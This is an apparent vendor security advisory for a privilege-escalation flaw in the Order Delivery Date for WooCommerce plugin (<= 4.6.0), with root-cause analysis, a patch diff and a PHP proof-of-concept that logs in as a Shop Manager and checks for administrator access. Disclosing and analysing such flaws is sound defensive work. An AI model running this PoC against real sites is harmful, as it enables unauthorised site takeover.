Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-65559: Order Delivery Date for WooCommerce <= 4.6.0 Authenticated (Shop Manager+) Privilege Escalation PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 266
Vulnerable Version 4.6.0
Patched Version 4.6.1
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65559: This is an authenticated privilege escalation vulnerability in Order Delivery Date for WooCommerce versions up to and including 4.6.0. The plugin grants the shop_manager role the site-wide manage_options capability. A Shop Manager can then access administrator-only settings pages and perform administrative actions, elevating their effective privileges to administrator. CVSS 7.2 with CWE-266 (Incorrect Privilege Assignment).

The root cause is in order_delivery_date.php. The function orddd_lite_capabilities() is hooked to admin_init and unconditionally calls $role->add_cap(‘manage_options’) on the shop_manager role. There is no capability check and no restriction on which role can be modified. The plugin intended to let Shop Managers manage ODD settings, but used the broad manage_options cap instead of manage_woocommerce. Because admin_init fires on every admin page load for any logged-in user, the grant is applied persistently to the role, not just to the current user session.

Exploitation requires an authenticated account with shop_manager role, which is commonly created by site owners for fulfillment staff. A Shop Manager logs into wp-admin and requests any admin page. The admin_init hook fires orddd_lite_capabilities(), which adds manage_options to the shop_manager role. The attacker then loads /wp-admin/options-general.php, /wp-admin/users.php, /wp-admin/plugins.php, or /wp-admin/themes.php. WordPress checks current_user_can(‘manage_options’) and now returns true. The attacker has full administrator-level access to site settings, user management (including creating new administrators), plugin installation, and theme editing. No special payload is needed; the presence of the shop_manager role is the trigger.

The patch replaces orddd_lite_capabilities() with two functions. orddd_lite_remove_legacy_manage_options_cap() runs once, guarded by the orddd_lite_shop_manager_cap_cleaned option, and removes manage_options from shop_manager if present. orddd_lite_map_settings_capability() adds option_page_capability_{group} filters for each ODD settings group, returning manage_woocommerce. This preserves the legitimate requirement that Shop Managers save ODD settings while requiring only manage_woocommerce, not manage_options. uninstall.php also removes the legacy capability and deletes the tracking option on uninstall. The version bump to 4.6.1 triggers orddd_lite_update_db_check() to run the cleanup. After the patch, Shop Managers can still manage ODD settings but cannot reach administrator pages.

Impact is full site compromise. A Shop Manager can create a new administrator account, install a malicious plugin, edit theme PHP files for remote code execution, modify wp-config-related settings, or exfiltrate customer and order data. This is a complete authentication boundary bypass within WordPress. Any site running versions <= 4.6.0 with an active shop_manager role is exposed. Site owners should assume all Shop Managers have administrative capability until the patch is applied and the role is cleaned.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/order-delivery-date-for-woocommerce/order_delivery_date.php
+++ b/order-delivery-date-for-woocommerce/order_delivery_date.php
@@ -4,13 +4,13 @@
  * Plugin URI: https://www.tychesoftwares.com/store/premium-plugins/order-delivery-date-for-woocommerce-pro-21/
  * Description: This plugin allows customers to choose their preferred Order Delivery Date during checkout.
  * Author: Tyche Softwares
- * Version: 4.6.0
+ * Version: 4.6.1
  * Author URI: https://www.tychesoftwares.com/
  * Contributor: Tyche Softwares, https://www.tychesoftwares.com/
  * Text Domain: order-delivery-date
  * Requires PHP: 7.3
  * WC requires at least: 3.0.0
- * WC tested up to: 10.9.3
+ * WC tested up to: 10.9.4
  * Requires Plugins: woocommerce
  *
  * @package  Order-Delivery-Date-Lite-for-WooCommerce
@@ -21,7 +21,7 @@
  *
  * @since 1.0
  */
-$wpefield_version = '4.6.0';
+$wpefield_version = '4.6.1';

 /**
  * Template path.
@@ -86,7 +86,8 @@

 			add_action( 'init', array( &$this, 'orddd_lite_update_po_file' ) );
 			add_action( 'admin_init', array( &$this, 'orddd_lite_update_db_check' ) );
-			add_action( 'admin_init', array( &$this, 'orddd_lite_capabilities' ) );
+			add_action( 'admin_init', array( &$this, 'orddd_lite_remove_legacy_manage_options_cap' ) );
+			add_action( 'admin_init', array( &$this, 'orddd_lite_map_settings_capability' ) );
 			add_action( 'admin_init', array( &$this, 'orddd_lite_check_if_woocommerce_active' ) );

 			// Settings.
@@ -341,7 +342,7 @@
 		 */
 		public function orddd_lite_update_db_check() {
 			global $wpefield_version;
-			if ( '4.6.0' === $wpefield_version ) {
+			if ( '4.6.1' === $wpefield_version ) {
 				self::orddd_lite_update_install();
 			}
 		}
@@ -373,16 +374,53 @@


 		/**
-		 * Capability to allow shop manager to edit settings
+		 * One-time security remediation: removes the unintended `manage_options` capability from the `shop_manager` role.
 		 *
 		 * @hook admin_init
-		 * @since 2.2
+		 * @since 4.6.0
 		 */
-		public function orddd_lite_capabilities() {
+		public function orddd_lite_remove_legacy_manage_options_cap() {
+			if ( 'yes' === get_option( 'orddd_lite_shop_manager_cap_cleaned', 'no' ) ) {
+				return;
+			}
+
 			$role = get_role( 'shop_manager' );
-			if ( isset( $role ) && '' !== $role ) {
-				$role->add_cap( 'manage_options' );
+			if ( $role instanceof WP_Role && $role->has_cap( 'manage_options' ) ) {
+				$role->remove_cap( 'manage_options' );
 			}
+
+			update_option( 'orddd_lite_shop_manager_cap_cleaned', 'yes' );
+		}
+
+		/**
+		 * Allow shop managers (manage_woocommerce) to save ODD settings without
+		 * holding the site-wide manage_options cap. Mirrors the manage_woocommerce
+		 * capability the ODD admin pages already register on.
+		 */
+		public function orddd_lite_map_settings_capability() {
+
+			$orddd_lite_option_groups = array(
+				'orddd_lite_date_settings',
+				'orddd_lite_holidays_settings',
+				'orddd_lite_time_slot_settings',
+				'orddd_lite_disable_time_slot_settings',
+				'orddd_lite_appearance_settings',
+				'orddd_lite_additional_settings',
+				'orddd_lite_calendar_sync_settings',
+				'orddd_lite_add_new_settings',
+				'orddd_lite_order_delivery_date_settings',
+			);
+
+			foreach ( $orddd_lite_option_groups as $orddd_lite_group ) {
+				// options.php checks option_page_capability_{$group}; default is manage_options.
+				// Remap to manage_woocommerce so the cap required to SAVE matches the cap
+				// required to VIEW the page (add_submenu_page uses manage_woocommerce).
+				add_filter( "option_page_capability_{$orddd_lite_group}", array( &$this, 'orddd_lite_settings_capability' ) );
+			}
+		}
+
+		public function orddd_lite_settings_capability() {
+			return 'manage_woocommerce';
 		}

 		/**
--- a/order-delivery-date-for-woocommerce/uninstall.php
+++ b/order-delivery-date-for-woocommerce/uninstall.php
@@ -13,6 +13,14 @@
 	exit;
 }

+// Security cleanup: strip the legacy site-wide `manage_options` capability that
+// versions <= 4.5.3 added to the shop_manager role, and drop our tracking flag.
+$orddd_lite_shop_manager = get_role( 'shop_manager' );
+if ( $orddd_lite_shop_manager instanceof WP_Role && $orddd_lite_shop_manager->has_cap( 'manage_options' ) ) {
+	$orddd_lite_shop_manager->remove_cap( 'manage_options' );
+}
+delete_option( 'orddd_lite_shop_manager_cap_cleaned' );
+
 delete_option( 'orddd_lite_db_version' );
 delete_option( 'orddd_lite_enable_delivery_date' );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65559 - Order Delivery Date for WooCommerce <= 4.6.0 - Authenticated (Shop Manager+) Privilege Escalation
//
// This PoC demonstrates that a Shop Manager account can escalate to Administrator
// on a site running a vulnerable version of the plugin. It performs two steps:
// 1. Logs in as the Shop Manager (triggering admin_init, which grants manage_options).
// 2. Verifies administrator-level access by fetching /wp-admin/users.php and checking
//    for the presence of the "Add New User" administrator page markers.

$target_url    = 'http://example.com';      // WordPress site root, no trailing slash
$shop_user     = 'shopmanager';              // Shop Manager username
$shop_pass     = 'shopmanagerpass';          // Shop Manager password

$cookie_jar = tempnam(sys_get_temp_dir(), 'odd_poc_');

function http_request($url, $post_fields = null, $cookie_jar = null, $follow = true) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $follow);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_USERAGENT, 'AtomicEdge-PoC/1.0');
    if ($cookie_jar !== null) {
        curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
    }
    if ($post_fields !== null) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
    }
    $body = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return array('code' => $code, 'body' => $body);
}

// Step 1: Fetch wp-login.php to obtain the login form and any test cookie.
$login_page = http_request($target_url . '/wp-login.php', null, $cookie_jar);

// Step 2: Submit credential form. This also fires admin_init once we land on wp-admin,
// which triggers orddd_lite_capabilities() and grants manage_options to shop_manager.
$login_post = http_request(
    $target_url . '/wp-login.php',
    array(
        'log'         => $shop_user,
        'pwd'         => $shop_pass,
        'wp-submit'   => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie'  => '1',
    ),
    $cookie_jar,
    true
);

if (strpos((string)$login_post['body'], 'login_error') !== false) {
    fwrite(STDERR, "[-] Login failed. Check credentials.n");
    exit(1);
}

// Step 3: Hit wp-admin to ensure admin_init fires and the capability is granted.
http_request($target_url . '/wp-admin/', null, $cookie_jar);
http_request($target_url . '/wp-admin/profile.php', null, $cookie_jar);

// Step 4: Attempt to load an administrator-only page. If the precondition holds,
// WordPress will return the users.php admin UI instead of a 403 / wp_die page.
$check = http_request($target_url . '/wp-admin/users.php', null, $cookie_jar);

$is_admin = false;
if ($check['code'] === 200) {
    if (stripos($check['body'], 'Add New User') !== false
        || stripos($check['body'], 'user-new.php') !== false
        || stripos($check['body'], 'Administrator') !== false) {
        $is_admin = true;
    }
}

if ($is_admin) {
    echo "[+] VULNERABLE: Shop Manager reached /wp-admin/users.php with administrator privileges.n";
    echo "[+] The shop_manager role now holds manage_options on {$target_url}.n";
    echo "[+] Next step an attacker would take: POST to /wp-admin/user-new.php to create a new administrator account.n";
    exit(0);
} else {
    echo "[-] Not vulnerable or patched. HTTP {$check['code']} from /wp-admin/users.php.n";
    exit(2);
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.